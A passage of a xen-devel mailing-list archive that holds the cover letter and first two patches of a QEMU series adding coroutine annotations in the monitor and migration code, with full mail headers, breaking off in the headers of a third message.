Cc: Markus Armbruster <armbru@redhat.com>, Peter Xu <peterx@redhat.com>, 
 Fabiano Rosas <farosas@suse.de>, 
 =?utf-8?q?Daniel_P=2E_Berrang=C3=A9?= <berrange@redhat.com>, 
 John Snow <jsnow@redhat.com>, 
 Vladimir Sementsov-Ogievskiy <vsementsov@yandex-team.ru>, 
 Kevin Wolf <kwolf@redhat.com>, Hanna Reitz <hreitz@redhat.com>, 
 qemu-block@nongnu.org, Stefan Hajnoczi <stefanha@redhat.com>, 
 Fam Zheng <fam@euphon.net>, "Denis V. Lunev" <den@openvz.org>, 
 Christian Schoenebeck <qemu_oss@crudebyte.com>, Greg Kurz <groug@kaod.org>, 
 "Michael S. Tsirkin" <mst@redhat.com>, 
 Stefano Stabellini <sstabellini@kernel.org>, 
 Anthony PERARD <anthony@xenproject.org>, 
 "Edgar E. Iglesias" <edgar.iglesias@gmail.com>, 
 xen-devel@lists.xenproject.org, Li Zhijian <lizhijian@fujitsu.com>, 
 =?utf-8?q?Marc-Andr=C3=A9_Lureau?= <marcandre.lureau@redhat.com>
X-Developer-Signature: v=1; a=openpgp-sha256; l=1771;
 i=marcandre.lureau@redhat.com; h=from:subject:message-id;
 bh=3p+9mnh7A1Sd9gkpZEuHm2Arv0B2DJblMllOqVWD9JU=;
 b=owEBbQKS/ZANAwAKAdro4Ql1lpzlAcsmYgBqXdSJGhUyT1s/3ctymKycGnr95OA0QKInBP1Ui
 yXIJzazgUKJAjMEAAEKAB0WIQSHqb2TP4fGBtJ29i3a6OEJdZac5QUCal3UiQAKCRDa6OEJdZac
 5eMbEACq8EYoKuxQ9/nJnUX4f5S9btARbnstqg+dSMili5YH/rKseLzJI6ASS9TRCiSaLbKxCHr
 J0NH1UiF6C9zFiw2Fcpt7ZQafNIFmEAf8xLYSC0Uuf0RrO97+r+IXptsPvua0gcVAULgRrDkGZh
 aiTm8owI247yvspBOR7nty5r5jfYB6o4znP70TAd2hhGTB5YN43ajTnooWxl1joh+byoU/csVqS
 1g47AbXMZyZLxkpwayh4IcPRZaiEu9XM1JsMHOceeOkvfG68vRzNYwmFNeDyGtJeQCU+e4P3GdO
 JqGc/DDDP5CO2K88SV4AouRI0wP3xzV+IWZFXMqPPURxKomVtZMesnur2fwIZpD2ANvVLkx8IG4
 4Vvt486nrxm6rqGjCG8qqGX8bMUGwN1kwPxwcLKB+T9uUD5dut147306SNOFxE2TTecc49oEFlF
 PiL9bmKXCYgE7082Jyv8XQpnvqDo9Qjt+biA3A3IPdPghJYlFvrCDu0hkY3aqHqmZdnC1WkKFXi
 23+TLZlfkBIOOeqjLQ/er5TRHC4NIB1yTeUqYXTb/vJH2nbbrzJBchS6rmCtAdNJuePl8SIq1az
 Ay2aGD4BDqnMux3yzImPX4z0wGgcu+1/8LfK7yxA5x6n/x887t2hbwyNe/mwkZXHggL6a4TAcWh
 PAxjQOvVtrBQiZg==
X-Developer-Key: i=marcandre.lureau@redhat.com; a=openpgp;
 fpr=87A9BD933F87C606D276F62DDAE8E10975969CE5
X-Scanned-By: MIMEDefang 3.4.1 on 10.30.177.93
X-Mimecast-MFC-PROC-ID: Gs2gCMUFiNtEyGmhq8tuB64h2kLNndpA9hZVegf1ffE_1784534161
X-Mimecast-Originator: redhat.com
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-c1860d/1784534167-D594A87B-1BF89B59/0/0
X-purgate-type: clean
X-purgate-size: 1773

Hi

Add missing coroutine_fn, coroutine_mixed_fn annotations and fix
a few related issues across monitor, migration, io, block, and
9pfs subsystems.

Signed-off-by: Marc-AndrÃ© Lureau <marcandre.lureau@redhat.com>
---
Marc-AndrÃ© Lureau (8):
      monitor: annotate monitor_qmp_dispatcher_pop_any() as coroutine
      migration: fix qemu_get_counted_string annotation
      io: add missing coroutine annotation
      block: add missing coroutine annotation
      qcow2: remove invalid qcow2_check_refcounts calls
      block: add missing coroutine_fn annotations
      hw/9pfs: annotate V9fsTransport callbacks as coroutine_fn
      migration/rdma: annotate and simplify wait_comp_channel()

 hw/9pfs/9p.h                 | 26 +++++++++++++++-----------
 include/block/blockjob_int.h |  2 +-
 include/io/channel.h         |  4 ++--
 block/commit.c               |  5 +++--
 block/crypto.c               | 13 +++++++------
 block/io.c                   |  8 +++++---
 block/parallels.c            |  5 +++--
 block/qcow2-snapshot.c       | 18 ------------------
 block/qcow2.c                | 11 +++++++----
 blockjob.c                   |  3 ++-
 hw/9pfs/9p.c                 | 31 +++++++++++++++++++------------
 hw/9pfs/virtio-9p-device.c   | 24 +++++++++++++-----------
 hw/9pfs/xen-9p-backend.c     | 34 +++++++++++++++++-----------------
 io/channel.c                 |  5 +++--
 migration/qemu-file.c        |  2 +-
 migration/rdma.c             | 12 ++++--------
 monitor/qmp.c                |  3 ++-
 17 files changed, 104 insertions(+), 102 deletions(-)
---
base-commit: 5ef0ecc5942ee07bb581cc96a97bbfc0fdf4005c
change-id: 20260720-co-625d98c7dc5e

Best regards,
--  
Marc-AndrÃ© Lureau <marcandre.lureau@redhat.com>



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 07:56:19 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 07:56:19 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366146.1616047 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlirL-0004xt-1K; Mon, 20 Jul 2026 07:56:19 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366146.1616047; Mon, 20 Jul 2026 07:56:19 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlirK-0004xl-U6; Mon, 20 Jul 2026 07:56:18 +0000
Received: by outflank-mailman (input) for mailman id 1366146;
 Mon, 20 Jul 2026 07:56:18 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <marcandre.lureau@redhat.com>) id 1wlirK-0004xK-CE
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 07:56:18 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlirJ-00FzlO-GA
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 09:56:17 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <marcandre.lureau@redhat.com>)
 id 6a5dd498-5cb7-0a2a0a5109dd-0a2a4503bdd2-44
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 09:56:17 +0200
Received: from [170.10.133.124] (helo=us-smtp-delivery-124.mimecast.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <marcandre.lureau@redhat.com>)
 id 6a5dd49f-fae8-0a2a45030019-aa0a857cd14f-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 09:56:17 +0200
Received: from mx-prod-mc-01.mail-002.prod.us-west-2.aws.redhat.com
 (ec2-54-186-198-63.us-west-2.compute.amazonaws.com [54.186.198.63]) by
 relay.mimecast.com with ESMTP with STARTTLS (version=TLSv1.3,
 cipher=TLS_AES_256_GCM_SHA384) id us-mta-284-JgVuit-kMgK1jPYX8qS_FA-1; Mon,
 20 Jul 2026 03:56:09 -0400
Received: from mx-prod-int-10.mail-002.prod.us-west-2.aws.redhat.com
 (mx-prod-int-10.mail-002.prod.us-west-2.aws.redhat.com [10.30.177.95])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (2048 bits) server-digest SHA256)
 (No client certificate requested)
 by mx-prod-mc-01.mail-002.prod.us-west-2.aws.redhat.com (Postfix) with ESMTPS
 id 2C2E5195DE19; Mon, 20 Jul 2026 07:56:07 +0000 (UTC)
Received: from localhost (unknown [10.44.22.17])
 by mx-prod-int-10.mail-002.prod.us-west-2.aws.redhat.com (Postfix) with ESMTP
 id AEE44158C; Mon, 20 Jul 2026 07:56:03 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=mimecast20190719 header.d=redhat.com header.i="@redhat.com" header.h="From:Subject:Date:Message-Id:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=redhat.com;
	s=mimecast20190719; t=1784534175;
	h=from:from:reply-to:subject:subject:date:date:message-id:message-id:
	 to:to:cc:cc:mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=IjhaPEySj2ajiT+j39JgZYAcWp9YnSZM59v8er2az0s=;
	b=CsF/V7WwMgGhUn9q2Gkl5XU7ikCezj6SmlXJPJz7CBDnbbWIUyfQSYARDugWYu0OwztuPj
	Jfiy4N28MjjsN7FICfhORUivJD8sKsi8w66NXZNPHp7SWYLeZg+LdXVtuafULfE8mxay2j
	Ui5GRWR8ffZXK0iyNghE8YhAIh25uAQ=
X-MC-Unique: JgVuit-kMgK1jPYX8qS_FA-1
X-Mimecast-MFC-AGG-ID: JgVuit-kMgK1jPYX8qS_FA_1784534168
From: =?utf-8?q?Marc-Andr=C3=A9_Lureau?= <marcandre.lureau@redhat.com>
Date: Mon, 20 Jul 2026 11:55:30 +0400
Subject: [PATCH 1/8] monitor: annotate monitor_qmp_dispatcher_pop_any() as
 coroutine
MIME-Version: 1.0
Message-Id: <20260720-co-v1-1-fabb4db3c204@redhat.com>
References: <20260720-co-v1-0-fabb4db3c204@redhat.com>
In-Reply-To: <20260720-co-v1-0-fabb4db3c204@redhat.com>
To: qemu-devel@nongnu.org
Cc: Markus Armbruster <armbru@redhat.com>, Peter Xu <peterx@redhat.com>, 
 Fabiano Rosas <farosas@suse.de>, 
 =?utf-8?q?Daniel_P=2E_Berrang=C3=A9?= <berrange@redhat.com>, 
 John Snow <jsnow@redhat.com>, 
 Vladimir Sementsov-Ogievskiy <vsementsov@yandex-team.ru>, 
 Kevin Wolf <kwolf@redhat.com>, Hanna Reitz <hreitz@redhat.com>, 
 qemu-block@nongnu.org, Stefan Hajnoczi <stefanha@redhat.com>, 
 Fam Zheng <fam@euphon.net>, "Denis V. Lunev" <den@openvz.org>, 
 Christian Schoenebeck <qemu_oss@crudebyte.com>, Greg Kurz <groug@kaod.org>, 
 "Michael S. Tsirkin" <mst@redhat.com>, 
 Stefano Stabellini <sstabellini@kernel.org>, 
 Anthony PERARD <anthony@xenproject.org>, 
 "Edgar E. Iglesias" <edgar.iglesias@gmail.com>, 
 xen-devel@lists.xenproject.org, Li Zhijian <lizhijian@fujitsu.com>, 
 =?utf-8?q?Marc-Andr=C3=A9_Lureau?= <marcandre.lureau@redhat.com>
X-Developer-Signature: v=1; a=openpgp-sha256; l=741;
 i=marcandre.lureau@redhat.com; h=from:subject:message-id;
 bh=yCQTIOZ3vdGSd0wX9FrJ+Idz4YTHnIHGhg0Q7MfK0Pk=;
 b=owEBbQKS/ZANAwAKAdro4Ql1lpzlAcsmYgBqXdSJm3lJfJ6ohY7uz1cUw8l9YT42D+RXR3qnr
 vkvsHJbEpaJAjMEAAEKAB0WIQSHqb2TP4fGBtJ29i3a6OEJdZac5QUCal3UiQAKCRDa6OEJdZac
 5fkOD/9cRo7MNM4+pqSDsys8gDgW3GuMHh1KDecO9oSlPlFqHPZR8xKJW+UBUPeBLfzWe0SkXVM
 EgwtKvxHf2nJFxJIXoQ3RmYPXZvcu0bbwW09aoTgffW0SvZ90NvdVu5gGRJL77VN7OX13se0qrk
 Nq/FOmPbOi7mlgoQJR2E0tP3td6Pm8T1XtUwoDEDFu+jTS7UUPU7nCNtgL9R8bnpp2ZeYQ+t73l
 jBkM71m6SEkFlWlnmb/EYAedmt/GVhFMfty1Jw32BLdWR5cVsEK+PcKuPluonj2ieIUEyrSnFzc
 nx0SYxXkUVKwQLSgvhaTUREGh1tsD1mic9T97mHZXIdXUtjAPfpF07kbvHFAGGQBpRv5I+fw609
 IF9jB2Ca7v11FvsXm+u2dAservR9BMb14AIdjuPXfFdAFvqkvNoHAqyHojAjgLLFJJ8O2elle1B
 W1og6muJNAUKv7Whp4O6iogUgKaWqfyq+Cxv3v4nmywF80qu3q+gZw42NQg9q2bYR1CtlYN6e22
 +cVsnQvg4S5XHkx2WF0quyrrz/K+xm15m4e0PrLWvLm+MivthT3jm0FDbf5x58HGlcJf7/ALfV2
 2UvvhgcA6bBTr9KZj/idyZw23D4534bk/iDP1Knx34kY6MkQV3ZNsoNln8fFL63llOBZynv5swW
 M1sHhwUCyZ0bglw==
X-Developer-Key: i=marcandre.lureau@redhat.com; a=openpgp;
 fpr=87A9BD933F87C606D276F62DDAE8E10975969CE5
X-Scanned-By: MIMEDefang 3.6 on 10.30.177.95
X-Mimecast-MFC-PROC-ID: rRwGkq0iRjchcu31WImX_NQxiMKmMtPNAgQQpwPw07I_1784534168
X-Mimecast-Originator: redhat.com
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-33051d/1784534177-6DCD34E9-4E41D8CB/0/0
X-purgate-type: clean
X-purgate-size: 743

The function calls qemu_coroutine_yield(), and is called from
monitor_qmp_dispatcher_co().

Fixes: 60f4f62efeb ("monitor: extract request dequeuing to a new function")
Signed-off-by: Marc-AndrÃ© Lureau <marcandre.lureau@redhat.com>
---
 monitor/qmp.c | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/monitor/qmp.c b/monitor/qmp.c
index 223e0643c2a..338d37cb7e5 100644
--- a/monitor/qmp.c
+++ b/monitor/qmp.c
@@ -342,7 +342,8 @@ static QMPRequest *monitor_qmp_requests_pop_any_with_lock(void)
     return req_obj;
 }
 
-static QMPRequest *monitor_qmp_dispatcher_pop_any(void)
+static QMPRequest * coroutine_fn
+monitor_qmp_dispatcher_pop_any(void)
 {
     while (true) {
         /*

-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 07:56:24 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 07:56:24 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366147.1616056 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlirQ-0005EX-8p; Mon, 20 Jul 2026 07:56:24 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366147.1616056; Mon, 20 Jul 2026 07:56:24 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlirQ-0005EN-5I; Mon, 20 Jul 2026 07:56:24 +0000
Received: by outflank-mailman (input) for mailman id 1366147;
 Mon, 20 Jul 2026 07:56:23 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <marcandre.lureau@redhat.com>) id 1wlirP-0005DQ-4t
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 07:56:23 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlirO-00FzlO-HX
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 09:56:22 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <marcandre.lureau@redhat.com>)
 id 6a5dd4a2-5cb7-0a2a0a5109dd-0a2a450387d4-10
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 09:56:22 +0200
Received: from [170.10.129.124] (helo=us-smtp-delivery-124.mimecast.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <marcandre.lureau@redhat.com>)
 id 6a5dd4a5-fae8-0a2a45030019-aa0a817c885b-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 09:56:22 +0200
Received: from mx-prod-mc-03.mail-002.prod.us-west-2.aws.redhat.com
 (ec2-54-186-198-63.us-west-2.compute.amazonaws.com [54.186.198.63]) by
 relay.mimecast.com with ESMTP with STARTTLS (version=TLSv1.3,
 cipher=TLS_AES_256_GCM_SHA384) id us-mta-329-1ephcCtmPOaVdVcRD1KrdA-1; Mon,
 20 Jul 2026 03:56:15 -0400
Received: from mx-prod-int-03.mail-002.prod.us-west-2.aws.redhat.com
 (mx-prod-int-03.mail-002.prod.us-west-2.aws.redhat.com [10.30.177.12])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (2048 bits) server-digest SHA256)
 (No client certificate requested)
 by mx-prod-mc-03.mail-002.prod.us-west-2.aws.redhat.com (Postfix) with ESMTPS
 id A9EA41944EAB; Mon, 20 Jul 2026 07:56:13 +0000 (UTC)
Received: from localhost (unknown [10.44.22.17])
 by mx-prod-int-03.mail-002.prod.us-west-2.aws.redhat.com (Postfix) with ESMTP
 id 6F35E1955F73; Mon, 20 Jul 2026 07:56:10 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=mimecast20190719 header.d=redhat.com header.i="@redhat.com" header.h="From:Subject:Date:Message-Id:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=redhat.com;
	s=mimecast20190719; t=1784534181;
	h=from:from:reply-to:subject:subject:date:date:message-id:message-id:
	 to:to:cc:cc:mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=COHT7p/iqsTdPamcZicw3oA4ocmXtjDA5E14rv82Tas=;
	b=iKdZNprc6a6hFAXyuYjlxcFuz4Axt4BqAXs0ykU7zcfvLPrWDRFpRfCwovmXmzivlElivf
	R0SLGM8CFSqSxIb1mVBGhkcg1HM3yPDfcrggMAgGXhjAwywOgGV1MfLe5h/ucIRrZWEFt2
	nzACVtCXj6rvx89fXMIAJxPc9fSHG9M=
X-MC-Unique: 1ephcCtmPOaVdVcRD1KrdA-1
X-Mimecast-MFC-AGG-ID: 1ephcCtmPOaVdVcRD1KrdA_1784534174
From: =?utf-8?q?Marc-Andr=C3=A9_Lureau?= <marcandre.lureau@redhat.com>
Date: Mon, 20 Jul 2026 11:55:31 +0400
Subject: [PATCH 2/8] migration: fix qemu_get_counted_string annotation
MIME-Version: 1.0
Message-Id: <20260720-co-v1-2-fabb4db3c204@redhat.com>
References: <20260720-co-v1-0-fabb4db3c204@redhat.com>
In-Reply-To: <20260720-co-v1-0-fabb4db3c204@redhat.com>
To: qemu-devel@nongnu.org
Cc: Markus Armbruster <armbru@redhat.com>, Peter Xu <peterx@redhat.com>, 
 Fabiano Rosas <farosas@suse.de>, 
 =?utf-8?q?Daniel_P=2E_Berrang=C3=A9?= <berrange@redhat.com>, 
 John Snow <jsnow@redhat.com>, 
 Vladimir Sementsov-Ogievskiy <vsementsov@yandex-team.ru>, 
 Kevin Wolf <kwolf@redhat.com>, Hanna Reitz <hreitz@redhat.com>, 
 qemu-block@nongnu.org, Stefan Hajnoczi <stefanha@redhat.com>, 
 Fam Zheng <fam@euphon.net>, "Denis V. Lunev" <den@openvz.org>, 
 Christian Schoenebeck <qemu_oss@crudebyte.com>, Greg Kurz <groug@kaod.org>, 
 "Michael S. Tsirkin" <mst@redhat.com>, 
 Stefano Stabellini <sstabellini@kernel.org>, 
 Anthony PERARD <anthony@xenproject.org>, 
 "Edgar E. Iglesias" <edgar.iglesias@gmail.com>, 
 xen-devel@lists.xenproject.org, Li Zhijian <lizhijian@fujitsu.com>, 
 =?utf-8?q?Marc-Andr=C3=A9_Lureau?= <marcandre.lureau@redhat.com>
X-Developer-Signature: v=1; a=openpgp-sha256; l=799;
 i=marcandre.lureau@redhat.com; h=from:subject:message-id;
 bh=N6+L/HnMPoOeFVHLSkUq4poAfMYUnwCM4couCI5iOrU=;
 b=owEBbQKS/ZANAwAKAdro4Ql1lpzlAcsmYgBqXdSJlx+ej+bpFQ3bSPwwRWhu1sAyEaprMReIu
 r6EYhcqf5uJAjMEAAEKAB0WIQSHqb2TP4fGBtJ29i3a6OEJdZac5QUCal3UiQAKCRDa6OEJdZac
 5RAIEACPwUGNBa4OSzulBfcHmirufW7Q9ZWtVD8WRKl4QUwYh0x8Vw0wi8AIy8fzd4vXzHG+9SU
 iuJwNvxODCPewrohwvuzDEFNhfj/d80OL7s1wW4zuYWr3mt3I48r0HpBZrG6GFx/fh+JKh/lV9V
 yHM74KG/iXF33Qf21gOX2aw/KCFAfGjQ+YgMRf8j55j3uoZOV4rA4KEho/PctuD0xF8GPfRLBUa
 V4gpAf8InyTVps3Qj068taPoy3njqHXwytycp4WeAG5Cr3DG4QP20zkw2ufPGebXcbm9WlkW8Kj
 lANa4PkcYh8h6j6oWGX6Tp27ajZeemLSXckz0ZtPS1cVcoWquGHMHe+fBJMisXqkkRawGqShLQ0
 9aajHGOdymqfU7zpvfYOKwyhW9YuCLeZ1am7ukvgliGx0pa5mAVUARArVHBV8XY2Wg2Rao3IPFs
 a9TW6Y5biJGr3YAKMD6SkBXZzq+86hHy/LFyOw8G0iMixpfLkvb7L3yROPwHKC53pa+xUIIfEkZ
 SA6L6R04xlo7Pyt5ShqF80J3DWQjzHwmr5tgOOjiAXaP6HLGUimlycrzPfKsC0hEEGdvVzzmtSK
 qxwC2l46fIJFl/BebrwRX2f81u5r8fg9dW767+2Wb9FQ8HUHoxPKpKXBDAfBPHEhPX6Ufv1LWIi
 NwJ4kSn5fS9vNnQ==
X-Developer-Key: i=marcandre.lureau@redhat.com; a=openpgp;
 fpr=87A9BD933F87C606D276F62DDAE8E10975969CE5
X-Scanned-By: MIMEDefang 3.0 on 10.30.177.12
X-Mimecast-MFC-PROC-ID: Ag06DzM2M9puXfuujwFa8RvHUVOg8xyS-uco_M5Sryg_1784534174
X-Mimecast-Originator: redhat.com
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-33051d/1784534182-754844E9-E6ED378A/0/0
X-purgate-type: clean
X-purgate-size: 801

Fixes: 394b9407e4c ("migration: mark mixed functions that can suspend")
Signed-off-by: Marc-AndrÃ© Lureau <marcandre.lureau@redhat.com>
---
 migration/qemu-file.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/migration/qemu-file.c b/migration/qemu-file.c
index d5a48115bd6..f30e13c66d7 100644
--- a/migration/qemu-file.c
+++ b/migration/qemu-file.c
@@ -830,7 +830,7 @@ uint64_t qemu_get_be64(QEMUFile *f)
  *          else 0
  *          (Note a 0 length string will return 0 either way)
  */
-size_t coroutine_fn qemu_get_counted_string(QEMUFile *f, char buf[256])
+size_t coroutine_mixed_fn qemu_get_counted_string(QEMUFile *f, char buf[256])
 {
     size_t len = qemu_get_byte(f);
     size_t res = qemu_get_buffer(f, (uint8_t *)buf, len);

-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 07:56:28 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 07:56:28 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366150.1616065 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlirU-0005Ve-KM; Mon, 20 Jul 2026 07:56:28 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366150.1616065; Mon, 20 Jul 2026 07:56:28 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlirU-0005VZ-GR; Mon, 20 Jul 2026 07:56:28 +0000
Received: by outflank-mailman (input) for mailman id 1366150;
 Mon, 20 Jul 2026 07:56:27 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <marcandre.lureau@redhat.com>) id 1wlirT-0005UT-As
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 07:56:27 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlirS-008b91-Nu
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 09:56:26 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <marcandre.lureau@redhat.com>)
 id 6a5dd4a1-bab6-0a2a0a5309dd-0a2a4504d01a-26
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 09:56:26 +0200
Received: from [170.10.129.124] (helo=us-smtp-delivery-124.mimecast.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <marcandre.lureau@redhat.com>)
 id 6a5dd4a9-b57f-0a2a45040019-aa0a817c6de9-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 09:56:26 +0200
Received: from mx-prod-mc-05.mail-002.prod.us-west-2.aws.redhat.com
 (ec2-54-186-198-63.us-west-2.compute.amazonaws.com [54.186.198.63]) by
 relay.mimecast.com with ESMTP with STARTTLS (version=TLSv1.3,
 cipher=TLS_AES_256_GCM_SHA384) id us-mta-423-z8nqN9IpM2Kmb4j07aKHRg-1; Mon,
 20 Jul 2026 03:56:21 -0400
Received: from mx-prod-int-01.mail-002.prod.us-west-2.aws.redhat.com
 (mx-prod-int-01.mail-002.prod.us-west-2.aws.redhat.com [10.30.177.4])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (2048 bits) server-digest SHA256)
 (No client certificate requested)
 by mx-prod-mc-05.mail-002.prod.us-west-2.aws.redhat.com (Postfix) with ESMTPS
 id 7FE43195C267; Mon, 20 Jul 2026 07:56:19 +0000 (UTC)
Received: from localhost (unknown [10.44.22.17])
 by mx-prod-int-01.mail-002.prod.us-west-2.aws.redhat.com (Postfix) with ESMTP
 id 906E930002D6; Mon, 20 Jul 2026 07:56:17 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=mimecast20190719 header.d=redhat.com header.i="@redhat.com" header.h="From:Subject:Date:Message-Id:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=redhat.com;
	s=mimecast20190719; t=1784534185;
	h=from:from:reply-to:subject:subject:date:date:message-id:message-id:
	 to:to:cc:cc:mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=5QTOvl8AY8NN1PStmYWdJeZDvzMfZigdv0pXiWXClfA=;
	b=H4jciwD9x26wAq8zFhGgeBT020uLXcy1HRsGXK/3bY7bfcUDKhwmyUAld70beK9+SYgDvP
	pLWyN3gPhoUrx+4y7e5AgFab/9uNp0Da9938pikSrblLmaz+WJkBlnlXSnWdwYIhZbix2V
	DUPX8zFhFk3peLsmLZt0UPrJGLOqibg=
X-MC-Unique: z8nqN9IpM2Kmb4j07aKHRg-1
X-Mimecast-MFC-AGG-ID: z8nqN9IpM2Kmb4j07aKHRg_1784534179
